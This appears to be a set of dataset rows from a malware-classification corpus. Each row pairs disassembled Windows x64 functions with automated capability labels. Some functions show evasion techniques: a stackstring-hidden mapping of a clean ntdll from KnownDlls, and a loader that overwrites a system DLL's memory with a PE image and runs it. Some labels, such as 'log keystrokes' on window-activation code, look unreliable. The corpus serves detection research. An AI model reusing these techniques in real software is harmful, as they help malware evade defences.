joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008f470
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rbx, rdx
movzx ecx, byte [rcx + 0x23]
test ecx, ecx
je 0x14008f6b0
mov qword [rsp + 0x50], rsi
sub ecx, 1
je 0x14008f50d
sub ecx, 1
je 0x14008f4d6
cmp ecx, 1
je 0x14008f4ba
mov rdx, qword [rdi + 0x28]
mov rcx, rbx
call qword [rdi + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
test rbx, rbx
je 0x14008f4c4
xor esi, esi
mov word [rdx], si
xor eax, eax
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
lea rcx, [0x140107f00]
call fcn.1400050a0
xor esi, esi
mov ecx, 0xffffffff
cmp rax, rcx
cmove rax, rsi
test rbx, rbx
je 0x14008f650
mov word [rbx + rax*2], si
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rcx, rdi
call fcn.140001320
cmp dword [0x140105b28], 0
jne 0x14008f60e
cmp qword [rdi + 0x10], 0
jne 0x14008f60e
cmp qword [0x140109880], rdi
jne 0x14008f53b
test rbx, rbx
jne 0x14008f5ba
mov rcx, qword [rdi + 0x28]
lea rdx, [rsp + 0x40]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x14008f5b5
xor esi, esi
mov qword [0x140109880], rsi
test rbx, rbx
je 0x14008f5a3
mov edx, dword [0x140105b3c]
test edx, edx
je 0x14008f585
mov r9, qword [rdi + 0x28]
lea r8, str.An_environment_variable_is_being_accessed__see_NoEnv.
lea rcx, [0x1401072b0]
mov qword [rsp + 0x20], rsi
call fcn.14003a010
mov rcx, qword [rdi + 0x28]
mov rdx, rbx
call fcn.14008d0b0
mov rsi, qword [rsp + 0x50]
mov eax, eax
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
dec eax
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
test rbx, rbx
je 0x14008f5f5
cmp byte [rdi + 0x23], 0
jne 0x14008f5c6
mov rax, qword [rdi + 0x10]
jmp 0x14008f5c9
mov rax, rdi
test byte [rax + 0x21], 4
je 0x14008f5d7
mov rdx, rdi
call fcn.14003a160
xor esi, esi
mov word [rbx], si
xor eax, eax
mov qword [0x140109880], rsi
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rsi, qword [rsp + 0x50]
xor eax, eax
mov qword [0x140109880], rdi
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov r8, qword [rdi + 0x10]
mov qword [rsp + 0x48], rbp
mov rbp, r8
shr rbp, 1
test rbx, rbx
je 0x14008f6ab
test r8, r8
jne 0x14008f660
xor esi, esi
mov rax, rdi
cmp byte [rdi + 0x23], sil
cmove rax, rsi
test byte [rax + 0x21], 4
je 0x14008f646
mov rdx, rdi
call fcn.14003a160
mov word [rbx], si
xor eax, eax
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rdx, qword [rdi + 8]
cmp rbx, rdx
je 0x14008f6ab
cmp r8, 0x186a0
jae 0x14008f69d
movzx eax, word [rdx]
test ax, ax
je 0x14008f693
nop word [rax + rax]
mov word [rbx], ax
lea rdx, [rdx + 2]
movzx eax, word [rdx]
add rbx, 2
test ax, ax
jne 0x14008f680
xor esi, esi
mov rax, rbp
mov word [rbx], si
jmp 0x14008f64b
mov rcx, rbx
call fcn.1400a9900
xor esi, esi
mov word [rbx + rbp*2], si
mov rax, rbp
jmp 0x14008f64b
mov rcx, qword [rdi + 0x10]
call fcn.14008f470
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400901b0
Capabilities:
Log keystrokes

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rcx
test rcx, rcx
jne 0x1400901c6
xor eax, eax
add rsp, 0x50
pop rbx
ret
xor edx, edx
mov qword [rsp + 0x30], r15
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp eax, dword [0x140107290]
mov r15d, eax
je 0x1400901f7
mov rcx, rbx
call fcn.1400915b0
test al, al
je 0x1400901f7
xor eax, eax
mov r15, qword [rsp + 0x30]
add rsp, 0x50
pop rbx
ret
mov qword [rsp + 0x68], rbp
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x140090220
mov edx, 9
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
cmp rbx, rbp
jne 0x140090238
mov rbp, qword [rsp + 0x68]
mov rax, rbx
mov r15, qword [rsp + 0x30]
add rsp, 0x50
pop rbx
ret
cmp byte [0x140105b2f], 0
jne 0x140090255
mov rdx, rbp
mov rcx, rbx
call fcn.140090110
test rax, rax
jne 0x1400903a0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x48], r12
xor r12b, r12b
mov qword [rsp + 0x40], r13
xor r13b, r13b
mov qword [rsp + 0x38], r14
test rbp, rbp
je 0x1400902de
xor edx, edx
mov rcx, rbp
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r14d, eax
test eax, eax
je 0x1400902e3
cmp dword [0x140107290], eax
je 0x1400902ba
mov rcx, rbp
call fcn.1400915b0
test al, al
jne 0x1400902ba
mov ecx, dword [0x140107290]
mov r8d, 1
mov edx, r14d
call qword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne r12b
test r15d, r15d
je 0x1400902e3
cmp r14d, r15d
je 0x1400902e3
mov r8d, 1
mov edx, r15d
mov ecx, r14d
call qword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne r13b
jmp 0x1400902e3
mov r14d, dword [rsp + 0x60]
xor edi, edi
mov rdx, rbp
mov rcx, rbx
call fcn.140090110
mov rsi, rax
test rax, rax
jne 0x140090347
inc edi
cmp edi, 5
jl 0x1400902e5
xor r8d, r8d
mov dword [rsp + 0x28], 0xffc3d44d
xor r9d, r9d
mov byte [rsp + 0x20], r8b
mov dl, reloc.OLEAUT32.dll_SafeArrayGetUBound
lea ecx, [rax + 2]
call fcn.140012ea0
xor r8d, r8d
mov dword [rsp + 0x28], 0xffc3d44d
xor r9d, r9d
mov byte [rsp + 0x20], r8b
mov dl, reloc.OLEAUT32.dll_SafeArrayGetUBound
lea ecx, [rsi + 2]
call fcn.140012ea0
mov rdx, rbp
mov rcx, rbx
call fcn.140090110
mov rsi, rax
mov rdi, qword [rsp + 0x78]
test r12b, r12b
mov r12, qword [rsp + 0x48]
je 0x140090368
mov ecx, dword [0x140107290]
xor r8d, r8d
mov edx, r14d
call qword [sym.imp.USER32.dll_AttachThreadInput]
test r13b, r13b
mov r13, qword [rsp + 0x40]
je 0x140090381
xor r8d, r8d
mov edx, r15d
mov ecx, r14d
call qword [sym.imp.USER32.dll_AttachThreadInput]
mov r14, qword [rsp + 0x38]
test rsi, rsi
je 0x140090399
mov rcx, rbx
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov rax, rsi
jmp 0x14009039b
xor eax, eax
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov r15, qword [rsp + 0x30]
add rsp, 0x50
pop rbx
ret
Function at 0x140090500
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov rbx, rcx
test r8b, r8b
je 0x140090520
call fcn.1400652e0
jmp 0x140090530
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_PostMessageW]
xor edi, edi
test esi, esi
cmovns edi, esi
test edi, edi
je 0x14009058c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, 1
mov ecx, 0x8000012f
mov esi, eax
call fcn.1400016f0
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x14009058c
add edi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, edi
sub ecx, eax
cmp ecx, 5
jle 0x14009058c
mov edx, 1
mov ecx, 0x8000012f
call fcn.1400016f0
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x140090561
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400907a0
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x11be0]
mov eax, 0x11ce0
call fcn.1400bf950
sub rsp, rax
movzx r10d, word [rdx]
mov r11d, 0xffdf
mov rdi, rcx
mov rcx, qword [rbp + 0x11c10]
lea eax, [r10 - 0x41]
test r11w, ax
jne 0x140090848
cmp word [rdx + 2], 0
jne 0x140090848
cmp word [r8], 0
jne 0x140090848
cmp word [r9], 0
jne 0x140090848
cmp word [rcx], 0
jne 0x140090848
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rbx, rax
test rax, rax
je 0x14009082b
cmp byte [rdi + 0x12a], 0
jne 0x14009082b
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x140090829
mov rcx, rbx
call fcn.140091660
test al, al
je 0x14009082b
xor ebx, ebx
cmp byte [rbp + 0x11c20], 0
je 0x140090840
test rbx, rbx
je 0x140090840
mov qword [rdi + 0xf8], rbx
mov rax, rbx
jmp 0x1400909b5
test r10w, r10w
jne 0x14009086d
cmp word [r8], r10w
jne 0x14009086d
cmp word [r9], r10w
jne 0x14009086d
cmp word [rcx], r10w
jne 0x14009086d
mov rcx, rdi
call fcn.1400909d0
jmp 0x1400909b5
xor ebx, ebx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r9
lea rax, [0x1400cef3c]
mov r9, r8
mov dword [rsp + 0x30], ebx
mov r8, rdx
mov qword [rbp + 0xf48], rax
xorps xmm0, xmm0
mov byte [rbp + 0x1781], bl
mov rdx, rdi
mov dword [rbp + 0x1784], ebx
lea rcx, [rsp + 0x30]
mov qword [rbp + 0x1788], rbx
movdqa xmmword [rbp + 0x1790], xmm0
mov dword [rbp + 0x17a0], ebx
mov qword [rbp + 0x17a8], rbx
mov qword [rbp + 0x17b8], rbx
mov qword [rbp + 0x17c0], rbx
call fcn.140091880
test eax, eax
je 0x140090984
test byte [rsp + 0x30], 2
movzx eax, byte [rbp + 0x11c18]
mov byte [rbp + 0x1781], al
mov rax, qword [rbp + 0x11c28]
mov qword [rbp + 0x1798], rax
mov eax, dword [rbp + 0x11c30]
mov dword [rbp + 0x17a0], eax
je 0x140090988
mov rax, qword [rbp + 0xf68]
cmp rax, 0xffff
je 0x140090959
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x140090984
mov rdx, qword [rbp + 0xf68]
mov rcx, rdi
call fcn.1400916f0
test al, al
jne 0x140090952
mov rcx, qword [rbp + 0xf68]
lea edx, [rbx - 0x10]
call qword [sym.imp.USER32.dll_GetWindowLongW]
bt eax, 0x1e
jae 0x140090984
mov rax, qword [rbp + 0xf68]
cmp qword [rbp + 0x17c0], rax
je 0x140090973
lea rcx, [rsp + 0x30]
mov qword [rbp + 0x17c0], rax
call fcn.140091d20
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140091e10
test rax, rax
jne 0x14009099a
xor eax, eax
jmp 0x1400909b5
lea rdx, [rsp + 0x30]
lea rcx, [0x140090a80]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [rbp + 0x1788]
cmp byte [rbp + 0x11c20], bl
je 0x1400909b5
test rax, rax
je 0x1400909b5
mov qword [rdi + 0xf8], rax
lea r11, [rsp + 0x11ce0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140091d20
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x1890]
test rcx, rcx
je 0x140091e03
mov eax, dword [rbx]
test eax, eax
je 0x140091e03
mov qword [rsp + 0x38], rsi
xor esi, esi
mov qword [rsp + 0x40], rdi
test al, 1
jne 0x140091d5f
mov rax, qword [rbx + 0x1018]
cmp word [rax], si
je 0x140091d7d
mov r8d, 0x7fff
lea rdx, [rbx + 0x189c]
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x140091d7d
mov word [rbx + 0x189c], si
test byte [rbx], 4
je 0x140091d96
mov rcx, qword [rbx + 0x1890]
lea rdx, [rbx + 0x1898]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test byte [rbx], 0x20
je 0x140091dd4
mov rcx, qword [rbx + 0x1890]
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x140091dd4
movzx r9d, byte [rbx + 0x1850]
lea rdx, [rbx + 0x11a9c]
mov ecx, dword [rsp + 0x30]
call fcn.1400603c0
test eax, eax
jne 0x140091dd4
mov word [rbx + 0x11a9c], si
test byte [rbx], 8
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
je 0x140091e03
mov rcx, qword [rbx + 0x1890]
lea rdx, [rbx + 0x1189a]
mov r8d, 0x101
add rsp, 0x20
pop rbx
jmp qword [sym.imp.USER32.dll_GetClassNameW]
add rsp, 0x20
pop rbx
ret

Function at 0x140092670
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11cd8
call fcn.1400bf950
sub rsp, rax
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x14009272a
xor r9d, r9d
mov byte [rsp + 0x18a0], dl
lea rcx, [0x1400cef3c]
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x1038], rcx
lea rdx, [rsp + 0x20]
xorps xmm0, xmm0
mov byte [rsp + 0x1871], r9b
lea rcx, [0x140092fb0]
mov dword [rsp + 0x1874], r9d
mov qword [rsp + 0x1878], r9
movdqa xmmword [rsp + 0x1880], xmm0
mov dword [rsp + 0x1890], r9d
mov qword [rsp + 0x18a8], r9
mov qword [rsp + 0x18b0], r9
mov qword [rsp + 0x1898], rax
mov dword [rsp + 0x18a4], r8d
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rsp + 0x1878], 0
je 0x14009272a
mov rax, qword [0x140100a58]
mov ecx, dword [rax + 0x74]
cmp ecx, 0xffffffff
jle 0x14009272a
mov edx, 1
call fcn.1400016f0
mov eax, 1
add rsp, 0x11cd8
ret
Function at 0x140092740
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 0x20], rbx
push r14
sub rsp, 0x20
cmp qword [rcx + 0x10], 0
movzx r14d, dl
mov rbx, rcx
jne 0x14009276a
mov eax, 1
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x40], rdi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8, qword [0x140100a58]
mov rcx, rbx
mov rdx, rax
mov rdi, rax
call fcn.140092d10
cmp byte [rbx], 0
mov rbp, rax
je 0x1400927a1
test rax, rax
jne 0x1400927aa
jmp 0x140092842
test rbp, rbp
jne 0x14009283d
test rdi, rdi
je 0x14009283d
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_PostMessageW]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, 1
mov ecx, 0x8000012f
mov esi, eax
call fcn.1400016f0
mov rcx, rdi
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x14009281f
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [rsi + 0x1f4]
sub ecx, eax
cmp ecx, 5
jle 0x14009281f
mov edx, 1
mov ecx, 0x8000012f
call fcn.1400016f0
mov rcx, rdi
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x1400927f0
mov rax, qword [0x140100a58]
mov rsi, qword [rsp + 0x38]
mov ecx, dword [rax + 0x74]
cmp ecx, 0xffffffff
jle 0x14009283d
mov edx, 1
call fcn.1400016f0
cmp byte [rbx], 0
je 0x140092856
xor r9d, r9d
mov r8, rbp
movzx edx, r14b
mov rcx, rbx
call fcn.140092880
jmp 0x140092862
movzx edx, r14b
mov rcx, rbx
call fcn.140092a70
mov rdi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140092a70
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
mov eax, 0x11ce0
call fcn.1400bf950
sub rsp, rax
cmp qword [rcx + 0x10], 0
movzx edi, dl
mov rbx, rcx
je 0x140092c34
xor edx, edx
call fcn.140092c50
test eax, eax
jne 0x140092ab0
mov rbx, qword [rsp + 0x11d00]
add rsp, 0x11ce0
pop rdi
ret
mov qword [rsp + 0x11cf0], rbp
mov qword [rsp + 0x11cf8], rsi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8, qword [0x140100a58]
mov rcx, rbx
mov rdx, rax
mov rsi, rax
call fcn.140092d10
mov ecx, dword [0x140107274]
xor ebp, ebp
test rax, rax
mov dword [rsp + 0x30], ebp
lea rax, [0x1400cef3c]
mov dword [rsp + 0x1884], ebp
cmovne ecx, ebp
mov qword [rsp + 0x1048], rax
mov dword [0x140107274], ecx
mov qword [rsp + 0x1888], rbp
mov qword [rsp + 0x1890], rbp
mov qword [rsp + 0x18b8], rbp
mov qword [rsp + 0x18c0], rbp
test dil, dil
je 0x140092b3a
mov byte [rsp + 0x1881], bpl
test ecx, ecx
je 0x140092b42
mov byte [rsp + 0x1881], 1
mov rax, qword [0x140107280]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x1898], rax
mov rax, qword [rbx + 0x10]
mov dword [rsp + 0x18a0], ecx
lea rcx, [0x140092e30]
mov qword [rsp + 0x18a8], rax
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [rsp + 0x1888]
test rax, rax
je 0x140092bf8
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400914f0]
mov qword [rsp + 0x28], rbp
call qword [sym.imp.USER32.dll_EnumWindows]
mov r10, qword [rsp + 0x28]
test r10, r10
je 0x140092bc0
mov rcx, qword [rsp + 0x1888]
call fcn.140092380
mov qword [rsp + 0x1888], r10
jmp 0x140092bc8
mov r10, qword [rsp + 0x1888]
mov rcx, r10
call fcn.1400901b0
mov rcx, qword [rsp + 0x1888]
call fcn.140092380
mov rcx, qword [0x140100a58]
mov ecx, dword [rcx + 0x74]
cmp ecx, 0xffffffff
jle 0x140092c24
mov edx, 1
call fcn.1400016f0
jmp 0x140092c24
mov eax, dword [0x140107274]
test eax, eax
je 0x140092c24
cmp eax, 1
mov dword [0x140107274], ebp
setg al
test al, al
je 0x140092c24
mov rcx, rsi
call fcn.140092380
xor edx, edx
mov rcx, rbx
call fcn.140092a70
mov rsi, qword [rsp + 0x11cf8]
mov rbp, qword [rsp + 0x11cf0]
mov eax, 1
mov rbx, qword [rsp + 0x11d00]
add rsp, 0x11ce0
pop rdi
ret
Function at 0x1400aeb68
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x1400ae93c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ae93c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ae93c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ae93c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ae93c
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ae93c
cmp dword [rcx + 0xf8], esi
je 0x1400ae93c
mov ecx, r14d
call fcn.1400aea84
mov ecx, 2
call fcn.1400b79c8
nop
cmp byte [0x140103b08], 0
jne 0x1400aea06
mov r15d, 1
mov eax, r15d
xchg dword [0x140103afc], eax
test ebx, ebx
jne 0x1400ae9af
mov rdi, qword [0x140100018]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140103b00]
cmp rcx, rax
je 0x1400ae9a6
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140017f60]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140103d40]
jmp 0x1400ae9bb
cmp ebx, r15d
jne 0x1400ae9c1
lea rcx, [0x140103d58]
call fcn.1400b4910
nop
test ebx, ebx
jne 0x1400ae9d8
lea rdx, [0x1400c6fa0]
lea rcx, [0x1400c6f80]
call fcn.1400b4ca8
lea rdx, [0x1400c6fb0]
lea rcx, [0x1400c6fa8]
call fcn.1400b4ca8
movzx eax, byte [0x140103b08]
test esi, esi
cmove eax, r15d
mov byte [0x140103b08], al
jmp 0x1400aea06
mov ecx, 2
call fcn.1400b7a1c
test esi, esi
jne 0x1400aea1d
mov ecx, r14d
call fcn.1400aea38
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400ae8cc
Function at 0x1400022e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp], rax
xor ebx, ebx
mov dword [rbp - 0x48], 0x4b005c
lea rdx, [rbp - 0x48]
mov word [rbp - 0x20], bx
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x44], 0x6f006e
mov dword [rbp - 0x40], 0x6e0077
mov dword [rbp - 0x3c], 0x6c0044
mov dword [rbp - 0x38], 0x73006c
mov dword [rbp - 0x34], 0x6e005c
mov dword [rbp - 0x30], 0x640074
mov dword [rbp - 0x2c], 0x6c006c
mov dword [rbp - 0x28], 0x64002e
mov dword [rbp - 0x24], 0x6c006c
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x68]
mov dword [rsp + 0x60], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
lea edx, [rbx + 0xc]
mov dword [rsp + 0x78], 0x40
lea rcx, [rsp + 0x58]
movdqu xmmword [rbp - 0x80], xmm0
call qword [sym.imp.ntdll.dll_NtOpenSection]
test eax, eax
jns 0x1400023b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtOpenSection___u__n
call fcn.140001070
xor eax, eax
jmp 0x140002457
movdqa xmm0, xmmword [str.NtMapViewOfSectiqqqqqqqqqqqqqqqq]
lea rcx, [rbp - 0x58]
movdqu xmmword [rbp - 0x18], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rbp - 0x70], rbx
mov dword [rbp - 0x58], 0x6c64746e
mov dword [rbp - 0x54], 0x6c642e6c
mov word [rbp - 0x50], 0x6c
mov word [rbp - 8], 0x6e6f
mov byte [rbp - 6], bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x48], 2
lea rcx, [rbp - 0x70]
mov dword [rsp + 0x40], ebx
lea r8, [rsp + 0x50]
mov dword [rsp + 0x38], 1
xor r9d, r9d
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rbx
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], rbx
call rax
test eax, eax
jns 0x140002452
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtMapViewOfSection___u__n
call fcn.140001070
xor eax, eax
jmp 0x140002457
mov rax, qword [rsp + 0x50]
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140002eb0
mov rbx, qword [rsp + 0x120]
add rsp, 0x110
pop rbp
ret
Function at 0x140002480
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r14
sub rsp, 0x38
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0x28], rax
movsxd rbp, dword [rcx + 0x3c]
mov r14, rcx
add rbp, rcx
jne 0x1400024b4
lea rcx, str._____Not_a_PE_file_n
call fcn.140001070
jmp 0x140002660
mov qword [rsp + 0x58], rbx
lea rcx, str.WindowsCodecsRaw
mov ebx, dword [rbp + 0x50]
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x30], r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r15d, r15d
lea r9, [rsp + 0x20]
lea rdx, [rbx + 0x2000]
mov dword [rsp + 0x20], r15d
lea rsi, [rax + 0x2000]
mov rcx, rsi
lea r8d, [r15 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
lea rcx, [rbx + 0x2000]
mov rdi, rsi
mov rdx, r14
rep stosb byte [rdi], al
mov r8d, dword [rbp + 0x54]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [rbp + 0x14]
movzx edi, r15w
add rbx, rbp
cmp r15w, word [rbp + 6]
jae 0x140002558
nop
movzx eax, di
lea rcx, [rax + rax*4]
mov edx, dword [rbx + rcx*8 + 0x2c]
mov r8d, dword [rbx + rcx*8 + 0x28]
add rdx, r14
mov ecx, dword [rbx + rcx*8 + 0x24]
add rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
inc di
cmp di, word [rbp + 6]
jb 0x140002530
mov eax, dword [rbp + 0xb0]
test eax, eax
jne 0x140002573
lea rcx, str.Failed_in_Relocating_Image_n
call fcn.140001070
jmp 0x14000264c
mov r9d, dword [rsi + rax]
lea r8, [rsi + rax]
test r9d, r9d
je 0x1400025d7
mov r10d, 0xa000
mov eax, dword [r8 + 4]
cmp eax, 8
jb 0x1400025cc
lea rdi, [rax - 8]
mov rdx, r15
shr rdi, 1
je 0x1400025cc
nop dword [rax + rax]
movzx eax, word [r8 + rdx*2 + 8]
test r10w, ax
je 0x1400025c0
and eax, 0xfff
lea ecx, [r9 + rax]
mov rax, rsi
sub rax, qword [rbp + 0x30]
add qword [rcx + rsi], rax
inc rdx
cmp rdx, rdi
jb 0x1400025a0
mov eax, dword [r8 + 4]
add r8, rax
mov r9d, dword [r8]
test r9d, r9d
jne 0x140002586
mov eax, dword [rbp + 0x90]
test eax, eax
je 0x14000264c
lea r14, [rax + 0xc]
add r14, rsi
mov eax, dword [r14]
test eax, eax
je 0x140002644
nop
mov ecx, eax
add rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140002638
mov edi, dword [r14 + 4]
add rdi, rsi
mov rcx, qword [rdi]
test rcx, rcx
je 0x140002638
jns 0x140002619
movzx edx, cx
jmp 0x140002620
lea rdx, [rsi + 2]
add rdx, rcx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi], rax
add rdi, 8
mov rcx, qword [rdi]
test rcx, rcx
jne 0x140002612
mov eax, dword [r14 + 0x14]
add r14, 0x14
test eax, eax
jne 0x1400025f0
mov eax, dword [rbp + 0x28]
add rax, rsi
call rax
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140002eb0
add rsp, 0x38
pop r14
pop rbp
ret
Function at 0x140017a28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x14001c060]
test rax, rax
je 0x140017a72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140017a72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140017a72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140017a72
cmp dword [rcx + 0x84], 0xe
jbe 0x140017a72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140017a74
xor al, al
add rsp, 0x28
ret